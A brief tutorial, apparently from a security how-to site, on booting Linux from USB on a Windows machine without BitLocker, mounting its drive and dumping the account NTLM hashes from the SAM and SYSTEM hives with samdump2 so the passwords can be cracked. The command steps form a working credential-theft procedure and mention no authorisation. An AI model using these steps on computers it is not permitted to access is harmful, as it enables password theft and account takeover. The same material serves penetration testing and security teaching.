Extract NTLM Hashes via Linux Live Boot

Using a live boot of Linux, we can extract the NTLM hashes of the windows accounts on a computer and attempt to crack to find out the passwords.

1. Prerequisites
2. Mount Drive
3. Dump Hashes

Prerequisites

• Physical access to a Windows Machine without BitLocker
• Bootable Linux USB (ideally Kali)

Mount Drive

Create a new directory where the drive will be mounted:

mkdir FOLDER_NAME

List Block Devices:

lsblk

Mount the primary windows partition (it should be the largest one there):

mount /dev/PARTITION_NAME FOLDER_NAME

• FOLDER_NAME is the folder created above

Dump Hashes

Navigate to Windows/System32/config in the mounted drive and run:

samdump2 SYSTEM SAM

• Hashes will be in PWDump format <username>:<uid>:<LM-hash>:<NTLM-hash>:<comment>:<homedir>: